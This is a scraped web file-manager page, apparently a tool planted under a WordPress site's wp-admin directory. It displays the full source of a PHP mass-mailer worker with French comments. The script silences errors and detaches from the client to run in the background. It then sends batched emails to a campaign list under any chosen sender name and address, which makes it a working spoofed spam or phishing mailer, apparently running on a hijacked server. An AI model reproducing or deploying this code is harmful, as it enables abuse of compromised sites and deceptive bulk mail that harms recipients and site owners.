Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-admin
/
user
:
mailer_worker.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php // Worker PHP - appelé via HTTP par fire_worker() // Ferme la connexion HTTP immédiatement et continue en arrière-plan error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); ignore_user_abort(true); // Fermer la session immédiatement if (session_status() === PHP_SESSION_ACTIVE) { session_write_close(); } $campaign_id = $_GET['campaign_id'] ?? ($argv[1] ?? ''); if (!$campaign_id) { http_response_code(400); die('No campaign ID'); } $sessions_dir = sys_get_temp_dir() . '/mailer_sessions'; $campaign_file = "$sessions_dir/$campaign_id.json"; $lock_file = "$sessions_dir/$campaign_id.lock"; if (!file_exists($campaign_file)) { http_response_code(404); die('Campaign not found'); } // Empêcher les doublons - vérifier si un autre worker tourne déjà if (file_exists($lock_file)) { $lock_data = @json_decode(file_get_contents($lock_file), true); if ($lock_data && (time() - $lock_data['time']) < 15) { header('Content-Type: text/plain'); echo 'already_running'; exit; } } // === FERMER LA CONNEXION HTTP === // Envoyer la réponse et libérer le client header('Content-Type: text/plain'); header('Connection: close'); // Buffer la réponse ob_start(); echo 'started'; $size = ob_get_length(); header("Content-Length: $size"); ob_end_flush(); // Flush tous les buffers if (ob_get_level() > 0) ob_end_flush(); @ob_flush(); flush(); // FastCGI : terminer la requête client if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } // === LE CLIENT EST LIBÉRÉ - ON CONTINUE EN ARRIÈRE-PLAN === function send_email_worker($to, $subject, $text, $html, $sender_name, $sender_email) { $boundary = md5(uniqid(time())); $headers = ""; $headers .= "From: $sender_name <$sender_email>\r\n"; $headers .= "Reply-To: $sender_email\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: multipart/alternative; boundary=\"$boundary\"\r\n"; $body = "--$boundary\r\n"; $body .= "Content-Type: text/plain; charset=UTF-8\r\n\r\n"; $body .= ($text ?: strip_tags($html)) . "\r\n\r\n"; $body .= "--$boundary\r\n"; $body .= "Content-Type: text/html; charset=UTF-8\r\n\r\n"; $body .= $html . "\r\n\r\n"; $body .= "--$boundary--"; return @mail($to, $subject, $body, $headers, "-f$sender_email"); } // Boucle principale d'envoi while (true) { // Heartbeat - prouver qu'on est vivant file_put_contents($lock_file, json_encode(['pid' => getmypid(), 'time' => time()])); clearstatcache(); $raw = file_get_contents($campaign_file); $campaign = @json_decode($raw, true); if (!$campaign || $campaign['status'] !== 'running') { break; } if ($campaign['current_index'] >= $campaign['total']) { $campaign['status'] = 'completed'; file_put_contents($campaign_file, json_encode($campaign)); break; } // Envoyer un batch de 10 emails $batch_size = 10; $batch_count = 0; while ($batch_count < $batch_size && $campaign['current_index'] < $campaign['total']) { $email = $campaign['emails'][$campaign['current_index']]; if (filter_var($email, FILTER_VALIDATE_EMAIL)) { if (send_email_worker( $email, $campaign['subject'], $campaign['text_template'], $campaign['html_template'], $campaign['sender_name'], $campaign['sender_email'] )) { $campaign['sent']++; } else { $campaign['errors']++; } } else { $campaign['errors']++; } $campaign['current_index']++; $batch_count++; usleep(30000); // 30ms entre chaque email } $campaign['last_update'] = time(); if ($campaign['current_index'] >= $campaign['total']) { $campaign['status'] = 'completed'; } file_put_contents($campaign_file, json_encode($campaign)); } // Nettoyage @unlink($lock_file);